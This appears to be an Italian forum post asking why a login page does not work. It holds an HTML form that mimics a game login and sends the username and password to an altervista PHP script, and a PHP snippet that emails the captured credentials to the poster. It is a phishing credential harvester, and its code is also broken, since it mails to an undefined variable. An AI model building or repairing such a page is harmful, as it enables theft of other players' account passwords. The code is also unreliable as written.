Codice HTML:
<h3>Login</h3>
<form action="http://locmetin2gilda.altervista.org/inviodati.php" method="post" name="loginFormElement">
<div class="form-login">
<label>Nome utente</label>
<div class="input">
<input type="text" value="" id="name" name="username" maxlength="30" />
</div>
<label>Password</label>
<div class="input">
<input type="password" value="" name="password" maxlength="32"/>
</div>
<div>
<input type="submit" class="button btn-login" value="Login" />
<p class="agbok"> <!-- ??? --> </p>
</div>
</div>
</form>
html
e questo il php
Codice PHP:
<?php
$sendmailto = "mia mail;";
$oggetto = "email";
$testo = "nome utente: ".$_POST['username']."
Password: ".$_POST['password'];
mail($mail,$oggetto,$testo)
?>
non va ...